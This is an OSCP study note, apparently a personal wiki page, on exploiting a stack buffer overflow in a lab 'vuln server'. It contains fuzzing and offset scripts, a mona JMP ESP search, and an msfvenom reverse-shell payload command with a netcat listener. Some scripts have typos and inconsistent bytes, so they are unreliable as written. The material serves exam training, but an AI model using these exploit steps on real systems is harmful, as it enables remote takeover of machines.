Buffer Overflow
An absolute essential to master, this topic guarantees 25 points in the OSCP. Credits to the Cyber Mentor for his outstanding playlist.
Intro to Buffer Overflow


if buffer space properly sanitizes inputs, inputs reach the EBP and stops, do not reach the EIP
EIP can be used to point to directions tat we instruct > point to malicious codes that we inject
Reaching EIP controls Stack > control pointer > reverse shell
8 Steps:
Spiking - to find vulnerable part of programme
Fuzzing - send bunch of random characters to vulnerability found
Find the offset - at what point did the program break
Overwrite EIP (Pointer) - use offset to overwrite EIP
Find bad characters
Find the right module
Generate Shellcode
Point EIP to shellcode
1. Spiking
find the valid commands on the vuln server
Tool used for spike:
generic_send_tcp host port spike_script <some variable, can be left blank>
spike script used to readline() then enter command along with the spiking variables
readline();
string("<COMMAND> ");
string_variable("0");
2. Fuzzing
write a script to fuzz the vulnerability found by spiking in step 2, then logging the amount of bytes or length of buffer sent to crash the program
#!/usr/bin/python
import sys
import socket
from time import sleep
# sys, socket for connecting to vuln IP address
# sleep is to give 1 sec btwn each command sent
buffer = A*100
while True:
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This sample program (line above) , based on the one in the standard library documentation,
# receives incoming messages and echos them back to the sender. It starts by
# creating a TCP/IP socket.
s.connect(('IP OF VULN MACHINE' ,PORT))
s.send(('INSERT Command of vulnerability found in spike' + buffer))
s.close()
sleep(1)
buffer = buffer + A*100
#This while loop runs as long as connection is available (havent crash)
except:
print("Fuzzing crashed at " + str(len(buffer)) + " bytes.")
sys.exit()
info for connecting via sockets TCP/IP: https://pymotw.com/2/socket/tcp.html
3. Finding the Offset
Basically looking for where we overwrite the EIP, so we can control the stack.
Tool used will be : pattern_create by metasploit
#kali machine
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <insert byte of buffer overflow>
#this will generate a pattern of the specified length for copy and pasting into script
copy the generated pattern of specified length
import sys
import socket
offet = " <Paste the generated pattern of specified bytes>"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('Same IP of vuln server' , port))
s.send(('Command of vulnerability found in spiking ' + offset))
s.close()
except:
#this is for backup, error feedback in case
print("Error connecting to server")
s.exit()
Now we check the immunity debugger and run the script with offset pattern
Notice the offset has went beyond the EIP and even to the ESP (too far)

Base on above, we can see the pattern for EIP is 386F4337
Go back to linux attack machine and search for this pattern in the pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
#switch of q for our finding

Now it tells you where the EXACT EIP is, at 2003 bytes!
Now modify our same python script, no need offset anymore
Shellcode Script
import sys
import socket
shellcode = "A"*2003 + "B"*4
#overwrites the EIP 4 bytes
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('IP of vuln', port))
s.send(('Command of vuln ' + shellcode))
s.close()
except:
print("Error something is wrong?")
s.exit()
Check the Immunity Debugger, note that all registers output are in HEX
AAAA will be represented by 41414141 and BBBB by 42424242 and so on
Here we have the representation in immunity debugger
Notice that EBP overwritten with AAAA and EIP with BBBB, EIP controlled!!

4. Finding Bad Characters (Eye test the Hexdump)
When we generate shellcode, some chars are bad for shellcode (act up) etc. NULL char x00
google badcharacters immunity debugger, PASTE into our shell script
import sys
import sockets
badchar = ("\x01\x02\x03 .... \xfe\xff")
# bad char are actually way longer, ignore the ....
shellcode = 'A'*2003 + 'B'*4 + badchar
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('IP of vuln', port))
s.send(('Command of vuln ' + shellcode))
s.close()
except:
print("Error something is wrong?")
s.exit()
now look at debugger hexdump (right click ESP > follow dump), check that all characters under badchar are present (nothing wrong)
If there are badchar, they will turn up missing (etc. taken as a command)

No badchar, scan till FF the last char xff
an example with bad characters is shown below

5. Finding the right Module
looking for DLL or similar inside a program with no memory protections (no safeSEH, no ASLR etc)
Tool: Mona.py on git hub
Mona.py
Download Mona.py into the folder > Local Disk (C:)/Program Files x86/Immunity Inc/Immunity Debugger/PyCommands
go to type "!mona module" in immunity debugger (the type bar at the very bottom), hit enter

The goal is to find DLL with all FALSE (no memory protection), in the above example it is essFunc.dll
Find upcode equivalent of Jump
(To convert assembly language to hexcode)
Jump command is "JMP ESP", type it into Nasm interactive > hexcode equivalent will be given, in this case, "FFE4"
#kali linux machine
locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm> JMP ESP
00000000 FFE4 jmp esp
nasm>
go back immunity debugger, type into typebar <!mona find -s "\xff\xe4" -m essfunc.dll>
-s tag searches for string for jump code in hex
-m selects module with no protection
NOTE : string FFE4 converted to hex must have "\x" -prefix!

Note the numerous return addresses listed, note them down
debugger returns the return addresses with search string \xff\xe4 in the module essfunc.dll (etc. 0x625011af)
NOW ENTER RETURN ADDRESS INTO SHELL CODE!!
In the space of EIP, right after the 2003 bytes of buffer
In reversed order, hex form
0x625011af becomes \xaf\x11\x05\x62, 0x is the initializer for every hex code
This is due to x86 computer architecture using Little-Endian format, least significant bit (LSB) at lowest address and vice versa.
https://geosn0w.github.io/An-Introduction-To-Intel-x86-Assembly/
Computer Architecture - Registers
The CPU has what is called “registers”. They are pretty much a very fast but limited memory on the microprocessor. The microprocessor can access these registers and retrieve the data way faster than it could do from RAM. The problem is, there are only a few of them and some registers are not general purpose, meaning they can’t really be used for everything. What can’t be fitted in the registers, lies in the RAM.
The IA-32 CPUs have 8 general purpose 32-Bit registers. Of course, these CPUs have way more registers than that, but only eight of them are truly general purpose. These registers are very important and you will find them scattered all over the place in the assembly output of any binary disassembler. A list of the available registers and a brief description is provided below.
EAX, EBX, ECX, and EDX are general purpose registers used for various operations. ECX is sometimes used as a counter by repetitive instructions.
EBP and ESP are the Stack Base Pointer and the Stack Pointer. Together, these two create the Stack Frame.
EDI and ESI are the Destination Index and Source Index registers and is used when dealing with the memory copying.

Jumpcode Shell script
import sys
import sockets
#Now replace B and badchar with return address 0x625011af
shellcode = 'A'*2003 + "\xaf\x11\x50\x62"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('IP of vuln', port))
s.send(('Command of vuln ' + shellcode))
s.close()
except:
print("Error something is wrong?")
s.exit()
go back to immunity debugger, click top button arrow > to follow the expression of the return address

highlight this line and hit F2 to make breakpoint, so the program stops at JUMPCODE

now run your JUMPCODE SHELL SCRIPT

Perfect now we have breakpoint at the EIP return address, now we ready to enter our shellcode as we have control of the pointer now!
6. Generate Shellcode
# your kali machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.131 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
After generating it, copy it into python shell script we using, do take note of payload size (etc limited bytes left)
add the overflow payload behind the return address with a little padding "\x90" * 32 (NOPs - no operation, might need to play around with padding size, this prevents interference between return address and payload)

set up netcat <nc -lvnp 4444>
run payload script! Get reverse shell :)
Last updated